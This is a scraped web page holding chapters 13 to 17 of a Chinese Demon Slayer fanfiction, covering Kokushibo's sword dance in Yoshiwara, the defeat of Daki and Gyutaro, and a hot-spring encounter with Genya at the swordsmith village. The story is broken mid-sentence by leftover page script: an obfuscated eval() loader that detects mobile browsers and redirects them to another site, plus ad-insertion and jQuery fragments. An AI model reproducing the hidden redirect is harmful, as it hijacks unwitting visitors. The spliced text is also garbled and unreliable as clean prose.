l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126606|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抢不到位子!” 炭治郎在旁边默默听着。 然后拼命掐住自己的大腿。 严胜大人,他在心里绝望地想,我们这次,是不是做得有点太过火了…… 终于抵达目的地,在高高的舞台下,拥挤的人群将高台围得水泄不通。 就是在这个时候,炭治郎看到了熟悉的身影。那人身材高挑,即使在人群中,也鹤立鸡群般显眼,半张侧脸被长发和花札遮挡,却仍挡不住其人出尘的风姿。 但那张英俊的脸上,表情却有些阴沉。 炭治郎悄悄挤过去,“缘一大人。”他担忧地问,“您还好吗?” 继国缘一看到他,稍点点头,他对炭治郎的提问点点头,是指自己无事的意思,但片刻他又摇摇头。 “我很好,”他闷闷地说:“但我很担心兄长……” “……”炭治郎忍住吐槽的冲动,“严胜大人非常强大,不会出什么事的。” “这么多人都来看兄长的表演……虽然,我知道兄长的风采无人能及,被人倾慕是理所当然的事,但是,万一这些人里,有人想对兄长不利怎么办?一想到这里,我每天晚上都难以入眠……” 就算有人敢对严胜大人不利,严胜大人也会宰了他的。 炭治郎面无表情地想。 他熟门熟路地安慰缘一:“没关系的,宇髓先生正是想要引出这样的对象,才会拜托严胜大人,现在效果非常好,想必鬼很快就会现身了吧,更何况。” 看着缘一不为所动,甚至越来越沮丧的脸,炭治郎决定下一剂猛药,“您始终注视着严胜大人呢,您一定可以保护他的!” “……” 缘一的眼神陡然坚定起来。“嗯,”他有力地说:“缘一一定会好好保护兄长大人的。” 炭治郎默默移开视线。 有一种欺骗小孩的心虚感啊…… 缘一大人,好骗过头了吧。 很快,周围的嘈杂声安静下来,一旁的游女弹起开场用的三味线。 炭治郎悄悄摸了摸自己的日轮刀:这是方才出门前,宇髓天元的小鼠给自己送来的。 在行动前,他们就商量好了,时任屋的规矩是新人出演三天,在第三天最盛大,如果潜藏在吉原的鬼会被继国严胜吸引,那大概率就会在第三天——也就是今天出现! 善逸已经失踪了,他们的行动不能再拖延,炭治郎默默听着三味线的音调愈发高昂,然后珠帘拨动的声音响起。 一个身影隐隐出现在后面。 那身影静静立着,看着身量很小,旁边似乎带着一把几乎等身高长的剑,人群发出窃窃私语的期待声,在一旁游女高高挑起的音调中—— 一把泛着白光的长剑划破了幕帘! 万众瞩目之下。 继国严胜出现在台前。 踏着所有人炽热的目光,他缓步往前,刹那,这被传得神乎其神、具有非同凡响来历的孩子慢慢抬起了头。 在月光下,露出整张在柔和落光下,如梦似幻的脸。 灶门炭治郎清晰地听见身旁人倒吸一口凉气的声音。 14.堕姬 那剑很快,转瞬就落在高台之上,而持剑的人动作非常轻巧,几乎只能让人看到一个残影,比起剑舞,这更像是一场月色下冰寒的落雪。 炭治郎听见周围人在惊呼,他朝台上望去。 看到继国严胜正站在上面。 他穿着紫色的羽织,上面绣着金色的丝线,那张平日里多半表现出无聊或轻蔑的脸上,此刻正露出清淡的宛若霜雪般的神色。 人群因他的出场而沸腾起来,而被欢呼的对象却没有什么反应,只是朝熙攘的观众轻轻瞥了一眼…… 然后抬起那把剑。 灶门炭治郎看见过很多次继国缘一拔剑的样子。 对于被世界眷顾的神之子,继国缘一或受鬼杀队所托,或者是为了保护严胜,经常拔出他那把赤红色的日轮刀。青年用剑的姿态总是轻易而冷淡,像对世间万物都没有感情的神明,一把剑和一片落叶,对他来说都无甚区别。 而继国严胜却不同。 炭治郎怔怔望着台上。 作为整日被缘一背在背上的鬼,严胜出手的机会很少,又因为没有合适的佩剑,通常只用血鬼术,炭治郎极少看到严胜拿着剑的样子。 而直到今日,炭治郎才发现。 原来严胜大人持剑的样子…… 是这样的优美。 起身,落下,转身,每一道剑击上都仿佛升起一道无暇的月轮,难怪会有人喊他神女转世,炭治郎发着愣,看着台上宛若一片最清冷的月光的剑术,以及剑后那凛冽如冬雪的面颊,忽然感觉能闻到一股凄清的霜寒。 严胜大人真的很喜爱剑术吧。在闻到那寒意时,炭治郎不合时宜地想: 只有深深地爱着某样事物、并且甘愿将生命都奉献其上,即使堕落扭曲也不足为惜,将自己的全部人生,都寄托在这一把日轮刀上的人…… 才能散发出这样寂静又美丽的味道。 炭治郎忽然能够理解,为什么在他们这个世界的严胜大人,会跟随无惨堕落成鬼了。 忽然,炭治郎对上了一双金色的眼眸。 他一惊,继国严胜想必是看到自己了,但目光并没有停留,相反,他微微转移了视线,将目光—— 落到旁边的继国缘一身上。 这一次,他没有再挪走。只是握着剑,将剑尖对准台下的弟弟。周围的人们以为严胜是在看自己,纷纷发出兴奋的喊声,可严胜的眼中只有一个人。 那个人并没有发出声音。 在千百道灼热的目光下,继国严胜年纪尚小,却已可用端丽来形容的那张雌雄莫辨的脸上。 对着在人群中,正死死望着自己,目光阴暗如野兽的缘一。 他露出了一个笑容。 宛如春月下融化的霜雪。 - 继国严胜当然不是因为无聊,才答应了宇髓的请求。 他是因为缘一答应的。 出演三天,严胜日日都在台下看着缘一的身影。他那被严胜所拒绝、规定“这几日不许来找我”的弟弟,怔怔地抬着头。 那双平日里只有流云和落月的眼睛,正一动不动,满满地装着严胜自己。 继国严胜不想否认这给他带来的乐趣。 他一直苦苦追寻着,所有人都觉得缘一更在乎他,他这位弟弟对自己有过度的保护的欲望,但只有严胜知道,从某种意义上,是自己更需要缘一。 他需要缘一的认可。崇拜。看着自己时亮起的眼神,那样把自己当作珍宝、全心全意去爱的眼神。 每当这种时候,严胜就可以原谅这一切。他可以原谅缘一的天赋,原谅自己的嫉妒,原谅一直以来乃至永远——他都无法追逐上缘一的这个事实。 继国严胜是因此,才能够抵抗鬼舞辻无惨曾经绑架他时,对他反反复复的蛊惑的。 毕竟,全世界都不会有比缘一更完美、更值得去拥有的东西了。 他为自己能够在缘一眼里占据一席之地而快乐。 这种快乐,甚至可以同严胜赢下了某场对决,研究出新的剑型,或遇到了有趣的敌人来相比,他在台上表演,血液轻而易举地因弟弟的注视而燃烧,在体内沸腾,看着我吧,不可抑制地使用出月之呼吸的时候继国严胜在心里不受控地呼喊,缘一…… 看着我吧。 神明宠爱的孩子,最强大的男人,我全世界独一无二的最出色最与众不同的弟弟,继国缘一,从生来就与我不同,拥有着一切我得不到的东西的弟弟。 看着我吧。 ——让我变成,你唯一一件得不到的东西吧。 继国严胜笑了。 并在最后一天的演出,他第一次与台下的缘一对视。 看见自己平日里什么都不在乎的、神佛一般的弟弟。 他总是冰冷无情,此刻却扭曲而孤掷的表情。 用你那双,从不会关注人类和蝼蚁的眼睛…… 看着我吧,缘一。 - 表演时间很短,剑舞这种东西本来就不会有多长时间,虽然说是卖到时任屋,但继国严胜并不真的打算去学游女的技艺。 能出演剑舞,将自己最看重的剑术拿出来表演,已经是继国严胜最大的让步了。 要不是为了缘一,他才不会这么做。 他是今日最后的演出,算得上压轴,表演完,严胜回到帷幕之后,而人群却迟迟不散,大概还在因为方才的演出而震撼。 继国严胜坐在镜前,有佣人过来帮他收拾,他懒懒坐着,随意伸手,准备将长剑递给身后的人后。 严胜忽然停下了动作。 “你们先出去吧。”他说。 “?可是……” “出去。” 佣人们面面相觑,最终还是出去了。 房间很快恢复了寂静,严胜看了看镜子,将脸上被贴上去的金饰取了下来。那张漂亮的脸一点点恢复最原本的素净,继国严胜微微垂眸,将多余的饰品放在桌上—— “你就是时任屋力捧的新人?” 一道诡谲的女声在严胜背后响起。 而继国严胜的手微微停下。 下一秒,整个房间都被粉色的绸带包围起来!那长长的绸带在房间中间汇聚,继国严胜转过头: 他看见一个极美的女子,从绸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149688|138193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带中走了出来。 “就是你抢了我的风头?”那女子比严胜高,一头黑色长发高高竖起,脸上有鬼化的花纹,昭示她的身份,而瞳孔中上弦的字样,让严胜多看了她一眼。 六? 继国严胜兴致缺缺地扭过头。 而这态度似乎让潜入进来的堕姬很不高兴,她居高临下地看着继国严胜,在看清他的脸之后,露出一个贪婪的表情: “倒是真有几分本钱。” 她伸出手指,舔了一下尖锐的指尖,感到嘴里已经在分泌唾液:她最喜欢吃好看的人了。 而眼前这个小孩……堕姬心想,大概算得上几十年难遇的珍馐。 自听说了时任屋新来的美人抢走了自己原本的客人,就一直自顾自愤怒的堕姬,看着严胜,忽然扭曲地笑了: “既然这样,我就在这里把你吃了吧?算是我给你最大的恩典。” 而面前的孩子却没有露出她预料中惊恐的表情。 继国严胜只是微微抬起头。 看着堕姬愣怔的脸色。 他同样露出一个微笑。一个冷淡的,还夹杂着几分轻蔑的微笑。 “就凭你么?” 堕姬脸色一凝。 然后她尖叫出声,整个房间的绸带疯狂暴起。刹那,继国严胜举起一旁的长剑,转瞬砍断了所有的绸带。 他在空中轻巧地转身,落到外面的高台上,重新掩起的帷幕拦住他的身影,让继国严胜向后仰倒。 一张雌雄莫辨的脸,在层层纱幕里倒坠。他听见外面人群的哗然声,大概是以为这是严胜特别的谢幕演出,而严胜也没有让他们幻想破灭的意思,只看了人群一眼。他的长发和衣襟散开,与纱幕交叠,有一个瞬间,人群看他,仿佛在看美得惊心动魄的荼靡。 在吉原的夜里,尽情绽开的月光。 下一秒,惊鸿一瞥的孩子消失在层叠起伏的幕后。 在堕姬惊恐的视线中,那张漂亮的脸上,浮现出六只金色的鬼瞳。这方才看上去一手就能掐碎的人类孩子,忽然变成了让人避之不及、看到就心生恐惧的恶鬼。 她再次尖叫出声:“你——” 然后恶鬼举起了剑。 月光升起。 “月之呼吸·壹之型 暗月” 继国严胜一刀斩断了堕姬的头颅。 那颗头呆呆地滚了出去。 甚至还在不停地尖叫。 迷茫的视线中,堕姬还没能思考过来,自己是怎么、什么时候被人砍断了头,就听见那个恶鬼呼唤别人名字的声音:“炭治郎。” 他的声音清澈而冰冷,像化雪后最洁净的一捧雨水。而这样动人的声音,讲的却是最凶残的语言: “这只鬼还没有死,”继国严胜对着匆匆赶来,正紧紧握着刀的灶门炭治郎说:“她体内还有一只鬼,你只需同时砍下他们的脖子,就能将她杀死。” 他微微侧头霜白的脸上,是让人憎恨的平静和冷漠。 “交给你了。” 这种实力的鬼…… 堕姬在他眼里看到这样的神色: 还不配让我出手。 15.妹妹 严胜看着堕姬奔逃,而炭治郎紧紧追在她后面。 正觉得事情结束,有些无聊,眼前忽然一转,继国严胜感到自己被谁一把抱起。 早于意识,身体已经习惯性地搂上熟悉的脖颈,几秒之后,严胜才问: “缘一?” “是我,兄长大人。”睽违几日没能听见的声音是一如往常的平静,严胜居然感到了几分安心,“我来迟了,没能先接走兄长大人,真的非常抱歉。” “……”继国严胜扯了扯弟弟的衣角,难得感到几分愧疚。 是不是玩过火了? 他低声对缘一说:“不要轻易道歉。”在弟弟疑惑之前,严胜抢先转换了话题,“你们那边发生了什么?” 缘一将这几日的事情同严胜说清。 原来在严胜吸引风头时,善逸莫名失踪了,而炭治郎和那个伊之助已经发现了线索。 现在炭治郎被严胜踹去对付堕姬,至于伊之助,大概正在搜寻鬼隐藏的通道的下落。 这几天他们还真的在干活啊……严胜并不为自己让炭治郎去解决鬼而感到羞愧:开玩笑,什么鬼都要他和缘一上的话,那鬼杀队还存在干什么? 愿意帮忙吸引视线、之前限制上弦之三、一起筹划杀死无惨,继国严胜觉得自己已经很好心了! 这一次,继国严胜仍不准备轻易出手。 他窝在弟弟怀抱里,在吉原花街的门口,离两地战斗发生处都颇为遥远的距离,站在高高的屋顶上,将血液逼到眼睛处,远远地看着炭治郎他们的战斗。 堕姬已经重新安回了头,正陷入了狂暴,追着炭治郎打,但看起来,应当并不难对付。 如果有很强大的鬼,那去玩玩也不是不行…… 严胜看清了。 同时抽抽嘴角: ——好弱。 虽然方才就有所感知,不过一击,那女鬼的头就被自己斩断,和砍豆腐都没什么区别。 但通过通透的世界,严胜看到了对方身体里藏着的男鬼,原本还对此有几分兴趣,然而…… 就算加上那只男鬼,也不如猗窝座厉害。 继国严胜瞬间感到兴致缺缺。 他无聊地坐在缘一臂弯里,手挂着弟弟的脖子,让缘一挑了个暂且不会被波及到且视野清晰的地方,随后就懒洋洋地瘫下去: “缘一,我们就在这里。” 继国缘一自然不会对他的要求发出任何疑虑。 炭治郎,不要让我失望啊。继国严胜望着头发雪白的女鬼想,还有祢豆子…… 给我演一出有趣的好戏吧。 - 事实证明炭治郎还需要磨练。 祢豆子也同样。 远远地观战,无语地看着炭治郎被祢豆子救下,区区用了那么几次日之呼吸就不行了,而祢豆子也是,虽然因为自己的教导,很快恢复了平静,但那短暂的暴走也让继国严胜皱紧了眉心: 怎么还是这么弱?继国严胜脸色阴沉,一张可爱小脸紧紧皱在一起: 面对这样上不了台面的敌人,居然如此狼狈,应对如此幼稚…… 回去还得继续训练! 抱着祢豆子,将妹妹抱回箱子的炭治郎打了个哆嗦。 而那个音柱,速度倒是不错……但综合实力也还需要磨砺,严胜在旁观战,他惫懒地看着宇髓天元和那个男性鬼的战斗,并对双方关于容貌的讨论感到无比无聊,差点要打瞌睡。 一人一鬼争什么乱七八糟的…… 就在严胜快睡着的时候,事情出现了转机: 一股轰烂大半个花街的大爆炸忽然涌起,砰!世间变成一味明亮的雪白。 混乱中,严胜只能紧急使用通透观察鬼杀队众人的位置,伸手迅速掷出一把方才用来表演的长刀,改变了那男鬼挥刀而向的方向。 当继国严胜重新睁开因过亮而有些不适的鬼瞳之后,他愣了一下。 ……输了? 鬼杀队那些人……输了? 输给这两只加起来都不如猗窝座强的鬼? 继国严胜顿时感到愤怒。他从继国缘一怀里坐起来,自己都没意识到自己生气的原因,他声音冰寒,用一种极不悦的语气对弟弟说:“缘一,我们去——” 嗯? 继国严胜眨了下眼。 通透的世界中,属于善逸、伊之助,以及那个满口华丽来华丽去的男人的心跳,又重新微弱地出现了。 代表炭治郎的气息也再次出声,那少年挡在祢豆子前,似乎正在与鬼对峙。 ……倒也还没这么废物么。 但严胜并不准备继续袖手旁观了。他看出来炭治郎还想做什么,而剩余几人也还有余力,他不想自己插手小辈拼命的战斗,于是只示意一下缘一,让他把自己带去灶门祢豆子身边。 这个算是自己半个徒弟的鬼。 看着关上的箱门,严胜叹了口气。他无视身后激烈的战斗的声音,伸手敲了敲箱子。 “祢豆子,”他的声音是前所未有的温和,“起来了。” 去帮帮你哥哥吧。 箱子动了一下。半晌,一个幼小的女孩从里面钻了出来。 她澄澈的粉色眼睛睁开,就这么,静静地看着继国严胜。 然后对他露出一个笑容。 “……”继国严胜伸手摸摸她的头。 “你的血鬼术,我记得是火吧。”他说:“专门用来灼烧鬼的火……” “灶门祢豆子,你会是那个希望的。” 祢豆子显然听不懂他在说什么。 在继国缘一的庇护下,一人两鬼在妓夫太郎临死前拼命的反扑下完好无损,严胜让祢豆子去烧掉炭治郎他们身上的毒来救人,自己跟着缘一,来到那两只鬼面前。 两只正在互相咒骂,拼命憎恨彼此的鬼面前。 “都是你的错!” 堕姬声音尖锐。她正拼命地诅咒着,“都是你的错,你怎么被砍了脖子,你为什么不来帮我,为什么不来操纵我!” “哈?!我的错?你怎么不说是你的错!”妓夫太郎显然不甘示弱,他通红着眼反驳,“你才是,我正在对付柱,而你居然被那两个低级队员杀死了,你怎么想的,你怎么能这么弱!” “我弱?我明明这么努力了!你才是,明明只擅长打架,为什么会输?为什么会被砍断脖子!你一点用都没有!” “你才一点用都没有,你这么蠢得要死的女人,白长一张脸,连脑子都没有!!!” 继国严胜冷眼旁观地看着眼前这一幕。 甚至能在心里冷笑。 他觉得太有意思了,之前那些战斗都没能引起他的兴趣,现在倒是燃烧起来了。继国严胜像看什么最有趣的好戏一样看着这对兄妹临死前对彼此最怨毒的诅咒,拼命忍住,才没忽然笑出了声。 ……真的太有趣了。 有趣到让人想笑。 无论多亲密的兄妹,日日夜夜都抱在一起,同居住在一个身体的兄妹,在实力不济、即将面临死亡的时候,也还是会这样破口大骂,完全忘记平日里互相拥抱和维护的情谊,好像对方才是那个害死自己的仇人一样,恨到眼睛发红,恨不得对方下一秒就去死。 连整日都血肉相连在一起的手足都这样。 ——那从一开始就被分绝隔开,因为身份和才能而被区分,因为不祥和禁忌而被诅咒的兄弟。 到最后,会怎么样? 继国严胜认真思考。 关于这个问题,他思考过很久了。能够成为神之子的兄弟,是神明给他最大的幸与不幸。他无法控制地嫉妒并憎恶着缘一的才华,也无比怨恨地痛恨着嫉妒着弟弟的自己。 看着着面前相互谩骂、让对方去死的鬼兄妹,继国严胜几乎能从里面看到自己 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 ……若是我真的堕落成了吃人的恶鬼。 若是我真的,归顺了那个无惨,像这个世界的自己一样,苟且偷生,不知怎么逃过了缘一的惩罚,变成丑陋的鬼的话。 那缘一想必就会这么谩骂自己吧。 把他这个兄长当成人生中最大的耻辱,记都不想记得的污点,最恶心也最不要脸的存在,居然因为嫉妒弟弟的天赋,而做出这么下贱的行径—— 继国严胜闭了闭眼睛。 他上前一步,想一人一刀,割烂这对喋喋不休的兄妹的嘴,却在听到“我也根本不想有你这种妹妹——”的时候。 听到灶门炭治郎轻轻的声音。 “不要说,”那个灶门家的后代、没有天赋、弱小的少年,温柔而哀伤地捂住妓夫太郎的嘴唇,“不要再说了。” “这根本不是你的真心话。你其实很喜欢、很希望她当你的妹妹。” 灶门炭治郎的眼神是这么让人心碎: “不是吗?” 不是吗。 继国严胜忽然颤抖起来。 这根本不是与他有关的事情。这对鬼兄妹是被鬼杀队那群人打败的,头颅是被宇髓天元和灶门炭治郎、我妻善逸和嘴平伊之助斩断的。 这和继国严胜他根本没有什么关系。 可此时,严胜却说不出话。也笑不出来。他看着妓夫太郎痛苦沉默快要落下泪来的眼睛,忽然感觉从里面看到了自己。 看到那个曾经哭泣着,怨恨着上天的不公,不明白为什么自己会变成鬼、为什么自己会这么弱小的自己。 哀哀嚎着,看着天空,看着那或许永远也无法触碰到的太阳的天空。 念着弟弟的名字。 缘一。 继国严胜想起自己当时痛苦嘶吼的语句。 我只是想成为你。 他几乎被拖进曾经刚刚被强行变成鬼的回忆。 而忽然手指被人抓住了。 一个温暖的掌心,紧紧握住了严胜发冷的手指。兄长大人?弟弟在身后担忧地发问,您怎么了,兄长大人? …… 继国严胜没动。只是看着眼前那两只鬼的消亡,沉默的哥哥,嚎啕大哭的妹妹,那漂亮的脸因为悲伤而扭曲,喊着我不甘心我不甘心我不甘心哥哥救救我的哭嚎的嘴唇…… 以及妓夫太郎脱口而出的名字:“梅!!!” 继国严胜叹了口气。 他走上前,双手同时触碰妓夫太郎和堕姬残存的一丁点血肉,将自己的血灌了进去。就是在这一个瞬间,他的眼前忽然闪过无数记忆碎片: 狼狈的,被人殴打、辱骂、被砸了满身石头的丑陋的男孩。 脏兮兮的家,恶臭的房子,漏水的屋檐。 绝望的人生,无光的眼睛。 想要去死的想法。以及在看到雪白的婴儿时,第一次流露出惊喜的呼吸。 慢慢长大的美丽的女孩。 白发蓝眼的漂亮的少女。 视若珍宝、发誓这辈子都要在一起、要好好保护好的这种心情。 大雪天抱在怀里,亲昵地蹭着脸颊,说我不会离开你。 以及看到灰烬、尘土、污雪下—— 被烧得焦黑的躯体。 男孩尖叫哀嚎,让人听了就会心痛到闭上眼睛的声音。 梅,那声音和方才一样,绝望的,苦痛的,难以置信的,不舍得的不相信的不愿意接受的——梅!!! 呼喊着妹妹名字的声音。 继国严胜沉默着。 他将自己的手挪开,掌心里出现了一小截绸带,以及血色镰刀的碎片。他复杂地看着这两样物品,然后随手塞进自己的袖子里。 “走吧,”继国严胜扭头,对发愣的炭治郎,以及周围赶过来的少年们说:“回去吧。” 游郭的夜,陷入一片破败而解脱的寂静。 16.刀匠村 吉原的事就这么告了一段落。 炭治郎一行人又重新回到蝶屋,陷入了由几天到几个月的昏迷恢复之中。 而继国兄弟自然是不需要疗养休息的。 有时候继国严胜都会觉得有点无奈: 比起杀鬼和出任务的时间,炭治郎这家伙…… 是不是在蝶屋呆的时间还更长? 还是需要精心呵护的幼苗啊。继国严胜叹了口气,并拒绝承认自己在无限列车和花街中袖手旁观的揠苗助长式养小孩法。 这当然是理所当然的!继国严胜理直气壮:至少在他看护下,他们一个都没死,还从濒死的战斗中获得过许许多多经验——这是多么宝贵的经历! 而蝶屋的医护人员们对其摔崽子的教育方式敢怒不敢言。 既然灶门炭治郎一时半会醒不来,而祢豆子也长时间都在昏睡之中,严胜自然也没有呆在蝶屋的想法: 反正也没有柱来找他做反应训练,没人找虐,给他点乐子,他待在这里做什么? 于是应下产物敷邀请,继国兄弟前往产物敷宅邸,同产物敷一族最核心的情报和资料部门,共同梳理千年来无惨的相关下落。 顺便去烧一烧猗窝座的伤口:免得他跑了。 每每去烧,跟从的鬼杀队成员就觉得后背发凉: 虽然知道鬼都不值得同情,但缘一大人和严胜大人比那只鬼还要像恶鬼啊…… 而猗窝座也抵死不愿泄露任何情报。 自打他认出严胜并非真正的黑死牟后,就拒绝开口,任继国严胜讽刺他到青筋暴起双眼通红,都死死地一言不发。 这倒是让严胜对他多了几分欣赏。 可惜,千年之间,无惨的势力确实不断发展壮大,很多战国时期的经验在此时已经不算通用。在没有多大进展的两个月之后,严胜收到鎹鸦的讯息: 炭治郎醒了。 并且他准备前往刀匠村。 这倒是引起了严胜的兴趣。他迅速指使弟弟回了蝶屋,然后又一次,在炭治郎僵硬的脸色中,在他对面坐了下来。 “我也要去。” “……”炭治郎的神色是一如既往的茫然和绝望,“严胜大人。”他嗫嚅道:“这一次您又是为什么呢……?” 反正您既不打算帮忙也不打算出手,除了时不时嘲讽一下我们和缘一大人,让缘一大人像蘑菇一样蔫下去然后我还得去安慰——您到底想做什么啊?! 灶门炭治郎自认为自己是一个脾气不错的人,也非常懂得知恩图报的道理。 他很感激继国严胜在多次任务中对他们的帮助,无论是无限列车中救下炼狱先生,还是后来花街中提醒祢豆子、始终看护他们,炭治郎都非常感谢严胜。 ——但是去刀匠村这种几乎百分百安全的地方,无论怎么想,严胜大人都只是在拿自己当乐子而已吧!!! 而继国严胜仿佛看穿他心里所想一样,冷哼一声:“自然是去帮你。” “帮我……?” “没错,炭治郎。”继国严胜双手抱肩。 炭治郎忍不住想严胜大人用这么可爱的小朋友的脸做这种动作真是毫无尊严可言,除了想抱还是想抱…… “你自己没有意识到,但无论从你特殊的妹妹,还是你的出身,你的耳饰,抑或是你能够使用日之呼吸这一点来看……” 严胜用下巴点了点炭治郎茫然的脸,“上弦出场,你一次都没有错过。炭治郎,就像缘一是我们那个时代独一无二的神之子,世界的主角一样……” “你也会是这个时代的主角。” 炭治郎傻了。 他都没工夫注意后边“兄长大人夸我了好高兴兄长大人再夸一下”的继国缘一,呆呆地看着严胜: “我?严胜大人,您大概有哪里弄错了……” 连自己的家人都无法保护的我,至今距离您和柱都有那么远差距的我…… 怎么可能会是您口中这么厉害的存在? “这是我的直觉,你相信或不信都可以。”严胜摇摇头,顺手撸了一把弟弟毛茸茸的头发,让缘一幸福地蹭上来。 “而且,这里太无聊了。”严胜说:“看你挨打……咳,战斗,倒也还算有点意思。” “……” 不用改口的,严胜大人。 - 结果真的一起去了。 直到被去除了耳塞眼罩,炭治郎都缓不过劲来。 他愣愣地看着一旁不动如山、无论面对什么都波澜不惊的继国缘一,无论如何都想不通,“缘一大人……您和严胜大人是怎么得到许可的呢?” “?” 缘一茫然地看了炭治郎一眼。 “就是,刀匠村是队内很重要的存在……” “兄长大人早同产物敷阁下说过这件事,产物敷阁下同意了。”缘一的脸上多了几分莫名其妙的自豪。他视若珍宝一样摸摸背后的箱子,“不愧是兄长大人,比缘一聪慧许多,这样有先见之明。” “……”真的不想和兄控说话。 炭治郎默默扭开头。 像炭治郎这样的低级队员,他第一次来到刀匠村,需要去村长和一些登记的地方打个招呼,之后才可以随意行走。 而继国缘一和严胜这样“非鬼杀队队员却得到了进入许可”的存在,几百年都不一定有一个,他们提前得到了产物敷的手信,不需要太多手续,直接住下即可。 这也让继国缘一直接去问了照顾自己的村民: “这附近有什么有趣的地方么?” “有、有趣吗……” 不知为何,看着缘一的脸,显得惊讶又恍惚的村民们,呆呆愣愣地回答:“山上有很好的温泉,对人的身体很有好处,您可以去看看。” 温泉?背着箱子,继国缘一想了想,兄长大人应该会喜欢温泉吧? 会喜欢的。继国缘一严肃地想。 他不会承认自己想和兄长坦诚相见、在温泉里面对面谈心、并且听到兄长大人那清丽温柔的声音夸奖自己“缘一,你做得很好”这种事的…… 结果就这么一次没问。 在将箱子放到温泉边,自己就去换衣,贴心地留给兄长空间的继国缘一。 回来的时候。就听见一个陌生的声音。 貌似对着兄长大人的方向大喊: “不许侮辱我大哥!”那个陌生少年声音沙哑而尖锐,夹杂着去不掉的怒气,“你明明什么都不知道!!!” ? 继国缘一随手抽了根放在一旁的木柴。他疾速如电,身影在夜色里闪过一道火焰般的光辉,在下一秒,挡在水中的继国严胜面前。 他低头,看着呆滞的黑发少年,神色冰冷而无情。 “不要对兄长大人无礼。”继国缘一微微低头,看着那个目露恐惧的男孩。 而继国严胜也有点愣。 他看着面前的继国缘一,忍不住叹了口气。“缘一,”他扯扯弟弟的衣摆,“我没事,够了,退下吧。” 不顾缘一不信的神色,严胜强硬地把弟弟扯开。 严胜是真没事。 废话,他能有什么事,就算这鬼杀队最强的柱来杀他,严胜都能反杀回去,哪怕好几个柱一起来,他也有十足的把握全身而退。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >而缘一不知为何,来到这个世界之后,就对自己有一些过强的保护欲,继国严胜感到头疼。 难道是之前和弟弟和平安全的旅行太久了,缘一对自己的实力产生了什么误解吗…… 虽然比不过缘一,但普通的自保,就算是我这种无能的居然比不上弟弟的兄长,倒也不在话下吧。 算了。继国严胜眯起眼睛,看向对面紧紧抿着唇,不知在害怕还是警惕的面色凶恶的少年。 “好,”严胜听上去饶有兴致,“我再问你一次……” “你吃了鬼?” 少年紧紧握起拳头。 - 不死川玄弥并没有料到继国严胜的出现。 在结束了一天的修行,疲惫地来到汤屋,准备泡温泉的时候,一个粉绿头发的少女忽然蹿了出来,非常热情地和自己聊天,询问玄弥的名字,言语间还好像知道玄弥大哥的存在。 正为此事而痛苦的玄弥很不高兴,他冷声冷语地拒绝了少女,即使印象中对方好像是柱的存在,玄弥此刻也不想管了。 摆脱少女之后,玄弥就泡入了温泉。他看着温泉里自己的倒影,手指摸上了尖锐的虎牙,心情肉眼可见的差起来: 这一次鬼化的时间更久了…… 还未等他狠心拔下那颗牙,一道柔软的、独属于幼崽的细细的询问声,在他面前忽然响了起来: “鬼?” 玄弥大惊失色。 他虽然始终学不会呼吸,但好歹也是最强岩柱的徒弟,这么近的距离,硬是在对方说话才发现,玄弥刹那就从身后的衣物中拔出自己的枪,反手对准眼前—— “很紧张?”那道声音笑了一下,轻飘飘的,带着根本不把玄弥放在眼里的笑意,“这是什么,枪?” 对方伸手,唰的把枪口往上抬,而玄弥同时摁下扳机——一颗子弹砰的往天上冲去! 此时玄弥终于看清对方的模样: 一只六只金瞳、五官清秀,看着玄弥仿若看着弱小孩童一样的戏谑的神色。一只彻头彻尾的鬼! “你很多东西很新奇嘛,”继国严胜笑眯眯地说:“看起来很有趣。” 玄弥脑子里那根弦断了。 在他反应过来的时候,自己已经被反手压在温泉池壁的边缘。 那只拥有和外表毫不相符力量的鬼还在他身后好奇:“这个长相,这种血的味道……” “你是不死川实弥的什么人?” 玄弥目眦欲裂,“你为什么知道我大哥?!” “哦,弟弟。” “你为什么知道他?你什么时候见过大哥,大哥会杀死所有他见到的鬼,为什么,你到底怎么回事,怎么在大哥手下活下来的,你对大哥做了什么,喂,你——” “嘘。” 玄弥刹那止住了声音。 身后的鬼拿手堵住了玄弥的嘴唇,“安静。” 玄弥几乎流下泪来。大哥,他在心里绝望地呼喊,大哥,大哥! “你激动什么呢?”那鬼现在听起来有些无奈了,那语气,感觉像是一个比玄弥年长许多的成年人,可声音分明是孩子的声音,“我不过是打败你大哥几次,连致命伤都没给他留过,你气什么?” 什么?玄弥怔住了。他一感到对方的手离开,就迫不及待地喊:“你……你就是那个打败了大哥的……战国时代的鬼!” “问别人话之前,应该先回答别人的问题吧。” 那只强大得超出常理的幼鬼在玄弥身后,露出轻轻的笑音: “不死川实弥的弟弟,”他说:“你吃了鬼吗?” 不死川玄弥僵在了原地。 17.日轮刀 继国缘一正和不死川玄弥僵持。 即使继国严胜微微阻挡,但看着不死川玄弥和其兄长相似的脸,继国缘一还是感到了一股莫名的怒火。 他沉沉地盯着对方,第一次,没有立刻遵循兄长的命令离开,而是挡在严胜面前,半晌都不肯挪动。就在这一触即发的时刻—— “缘一大人?” 继国缘一微微愣了。 而刚来的灶门炭治郎也愣了。他傻傻地看着眼前的一切,“缘一大人、严胜大人,还有这是……玄弥?!” “你们在温泉里干什么呢?!” - 空气有点沉默。 继国兄弟和灶门炭治郎一起坐在温泉里。 经过和平大使炭治郎的解释,事情基本真相大白,双方的争端没有开始就被结束,继国严胜到最后也没有得到不死川玄弥关于吃鬼的解释,但他似乎也不太在意,只是平静地看着不死川玄弥离开。 